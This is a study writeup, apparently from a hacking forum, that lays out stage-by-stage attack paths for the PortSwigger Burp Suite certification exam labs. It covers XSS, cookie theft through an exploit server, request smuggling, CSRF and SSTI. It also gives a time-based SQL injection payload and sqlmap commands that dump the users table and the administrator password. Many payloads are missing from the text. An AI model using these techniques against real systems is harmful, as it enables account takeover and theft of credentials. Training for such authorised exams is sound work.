The exam contains 2 web applications, and each application is divided into 3 stages:
Due to the way PortSwigger creates the exam, it is not possible in a guide to say "it's this vulnerability then this one"; for each stage, the vulnerability is random. For example, you can have:
Therefore, you will have to test each stage case until you find the good one, there is no "unique" path like it can be on other certifications. Some cases of stage 1 may give you direct access to stage 3.
This writeup has been consolidated from my own (Tamarisk) Burp certification exam (passed on 1st try), two colleagues experience and from existing resources and writeups about the exam. It may evolve at any time, since only PortSwigger knows when they will add new vulnerabilities.
If you are facing an unknown vulnerability, that is not documented, contact me on Discord.
Written by Tamarisk for Breached Forums
This case is similar to lab "DOM XSS using web messages and JSON.parse" of the chapter DOM-based vulnerabilities.
When accessing the root / of the application, you will see, in the source code, the exact same code as the lab cited above.
It relies on the event when a "message" is being received. Follow the lab writeup, or directly send this payload to the victim, using the Exploit server (don't forget to escape the double quotes in the string, it's annoying but mandatory):
You should be directly connected as admin, so you might have to skip next stage!
This case is similar to lab "Reflected XSS into HTML context with most tags and attributes blocked"
There is a search feature (or this vulnerability may be exploitable on any other parameter of the website, it can be searchterm, find, etc.)
If you put /?find="><script>alert(1)</script>
, it will return:
"Tag is not allowed"
This means there is a blacklist/whitelist filter. We need to find which tag is allowed; send the request to "Intruder", and replace the value of the variable find by <§§>, such as
On https://portswigger.net/web-security/cross-site-scripting/cheat-sheet, click the button "Copy tags to clipboard", and then go back to Burp Intruder, and on the payload tab, click "Paste" to insert the list of HTML tags.
Run the intruder, and sorter by size; one will be bigger than others (for example the body tag)
At this point, replace the first line of the Intruder by:
Access the previous link, but this time "Copy events to clipboard"; run the Intruder, and get the working event (for example onload)
Test it's working in your browser, with the link:
https://XX-LAB-URL-XX/?find=<body+onload=alert(1)></body>
Of course, adapt to your case, you may have to add ' for example.
Then, create this payload on the exploit server:
Replace:
Send the exploit to the victim, and check the exploit server logs, it should come with the cookie of the user.
PS. If the allowed event is "onMessage", use this specific payload:
This case is similar to lab "Targeted web cache poisoning using an unknown header"
If you replay the request on the / page, you should see "X-Cache: Miss" on first time, and "X-Cache: Hit" on subsequents hits; it means there is web cache poisoning.
On the exploit server, replace the endpoint from "/exploit" to "/resources/js/tracking.js", because we will poison this dynamic file in the lab.
Put the following content (don't forget to replace the URL):
Return to the Burp request repeater, and poison the cache with the header "X-Forwarded-Host" and/or "X-Forwarded-For", by putting the Exploit Server URL (it will insert it into the source code of the response). If you mistype something, you can use a cache-buster to retry quicker.
Click at least twice on the "Send" button to check the X-Cache: Hit
shows up, that the tracking.js host is indeed modified, and after a moment, the access logs of the exploit server should show the cookie of carlos.
This case is similar to lab "Basic password reset poisoning"
When you try to login, there is a "forgot password" form. Click it, enter the username "carlos" and intercept the request. Change it to (with before and after):
The middleware server will do an API call to your exploit server hostname instead of its regular server, and you will receive in the access log of your exploit server:
Submit the reset password token.
This case is similar to lab "Exploiting HTTP request smuggling to deliver reflected XSS"
First, there is an XSS in the User-Agent, you can check it on your own browser by doing the request:
But you can't deliver it to the victim through a link, you have to perform HTTP Request Smuggling.
If you run a Burp scan, it will detect an HTTP Request Smuggling; get the working request (with 200 return status code) from the Scanner (you can see the request that detected the vulnerability).
Add/replace the smuggled request (so not the first part, but the second part), and change to this:
Replace the XX-EXPLOIT-SERVER-URL-XX by the hostname of the exploit server, and check the logs; the cookie will appear after some tries (don't hesitate to put in Intruder with null payload to get more chances of proc).
This case is similar to lab "Username enumeration via different responses"
List of usernames: https://portswigger.net/web-security/authentication/auth-lab-usernames
List of passwords: https://portswigger.net/web-security/authentication/auth-lab-passwords
If other scenarios did not work, another existing scenario is Brute Force, first you have to find the username (through the intruder), then one you have the different response (either by size or by status code), you can bruteforce the password. Use the list above to find the username and password.
This case is similar to lab "CSRF where token is not tied to user session"
If you analyze your cookie in the proxy/repeater, you will see similar to:
When a request is made, the CSRF value is checked as long as it tied to an active session.
In the browser session of Carlos, enable interception (it's better if the request is not received by the server), go into your account and "Change the email", and drop the request.
In another browser session (Incognito), ask to reset a password and input "administrator", intercept the request and change the CSRF token + cookie (that contains null) by the one from Carlos' session.
You are now logged in as administrator.
This case is similar to lab "Blind SQL injection with time delays and information retrieval"
Once logged in, you will have a "Advanced search" feature, and the "searchTerm" is vulnerable to a Time-based SQL.
You can exploit this vulnerability either manually (payload is the same as the lab example, ) or use directly SQLMAP (it's allowed for the exam, not like Offensive Security):
Check that the length of the administrator password is 20 (if not sleeping, maybe size is different but it's usually 20)
Put this payload in the Intruder (other parameters may be necessary), don't put Markdown backticks of course:
?param1=foo¶m2=bar&searchTerm='));SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§2§,1)='§a§')+THEN+pg_sleep(3)+ELSE+pg_sleep(0)+END+FROM+users--
This will check if the 2nd letter from administrator's password is a "a". In the "Cluster bomb" list, put numbers in the first payload, and alphanumeric caracters (a-z, A-Z and 0-9) in the second payload. Be sure to put only one thread in the resource pool (create if it doesn't exist), this won't work with multiple threads since whole database hangs.
In the result page, click "Columns" and show "Time received" to show and order by time delay, and reconstruct manually the password with each caracter/position.
MAY NOT WORK ANYMORE !!
On the request in Burp, do a right click > "Save to file" (or select all and paste), and save it in a file, let's say "search.req"
Run the following SQLMAP command to confirm the vulnerability:
sqlmap -r search.req --batch --level 5 --risk 3
You can eventually add the option -p searchTerm
to narrow down the discovery.
SQLMAP will identify a PostGreSQL database, and you can use option --dbs
to find the name of the databases.
Once "public" identified, replace the option by -D public --tables
to find the tables of the database public.
You identify the table "users", then use -D public -T users --dump
to dump whole users table.
Retrieve the password of the administrator.
(alternativaly, you can avoid saving the Burp request by doing sqlmap -u "https://<LAB_URL>/searchadvanced?searchTerm=a&organizeby=DATE&blog_artist=b" --cookie="_lab=<REPLACE>;session=<REPLACE>"
)
This case is similar to lab "User role can be modified in user profile"
When you are logged in, you can use the feature "Change email" in the account panel. Then this request to the Repeater.
At first, request will look like the following:
In the answer, you will notice the JSON contains more fields, in particular "roleid". You can add it to your request, so the JSON becomes:
There should be 2 roleid in the lab, yours and the admin's role. However, it's not a low number, so don't be afraid to bruteforce until 500. If the roleid is wrong, you will have the following response:
Send the request to the Intruder, with the following payload:
Then select "Sniper attack", "Number" in Payload position 1, select from 0 to 999 with step 1, and run!
Order the output by content size to find the good roleid, and replay this request.
On the change email feature, you can check the request is accepted if you remove the CSRF value from the form (or from the request), if the parameter is not present, request is accepted.
Use Burp > Generate PoC CSRF, remove the CSRF parameter. You also have to add <meta name="referrer" content="no-referrer">
to the PoC, to avoid "security check" of the server.
Example of PoC request:
This case is similar to lab "File path traversal, traversal sequences stripped with superfluous URL-decode"
On the admin panel, it needs to retrieve images; we identify a file inclusion:
Basically, you would like to access:
But some protections are in place; you need to encode some characteres, in that case the ../
But, the server will still receive decoded data; you need to encode twice. Then, / -> %2F -> %252F (we encode the %); it becomes (with secret being also double-encoded to bypass filters):
Replace the original filename by this double-encoded payload to retrieve the secret.
This case is similar to lab "SSTI : Server-side template injection with information disclosure via user-supplied objects"
Start by fuzzing all the fields with the polyglot payload
It should raise an error that gives you information about the used template engine. In the lab example, it is Django/Jinja2, but in the exam it can be another one.
Jinja2 template has already been identified during the exam; confirm with the payload:
For any other template, refer to methodology covered in https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection and https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti
This case is similar to lab "OS blind command injection with out-of-band (extraction)"
On the administrator panel, the /admin_panel/adminimage is vulnerable to a blind command injection; it means you will not see directly the output, and you need to use the Collaborator.
Don't forget the backquotes ` around the parameter value, and use either:
or
Then check your Collaborator dashboard.
This case is similar to lab "Basic SSRF against the local server"
In this case, you will have a feature to download a file. Click the button, and if you intercept/repeat the request, you will see it contains an URL.
Edit the content of the request, and resolve the path of the flag (you may have to perform Intruder on the port):
The value of the flag will be in the PDF.
This case is similar to lab "Exploiting blind XXE to exfiltrate data using a malicious external DTD"
On the exploit server, change the URL to "/a.dtd", and store the following content:
Then, on admin page, download the template file and edit it (or edit directly in Burp Repeater) with the following XML content:
Check if your exploit server sent the DTD file, then the flag will appear in the Collaborator.
This case is not really covered in the labs.
You will face a page where it suggests to give the link of a new Blog image, with example of link "https://example.com/file.png".
Go to the exploit server, store into "/pwn.php", the content:
Save it.
Back to the vulnerable application, put the following link; you need to add something to bypass the "PNG/JPG" filter, by adding a fake parameter:
https://exploit-SERVER.exploit-server.net/pwn.php?.jpg
Finally, to see the result of the PHP script being run by the vulnerable application, right click on the "image" and access its link :
/blogImage/pwn.php
And you will have the solution.
New Command injection in XML (detected by ActiveScan++)
############################## TEMPLATE FOR FUTURE VULNERABILITIES ONLY
This case is similar to lab "TODO"
TODO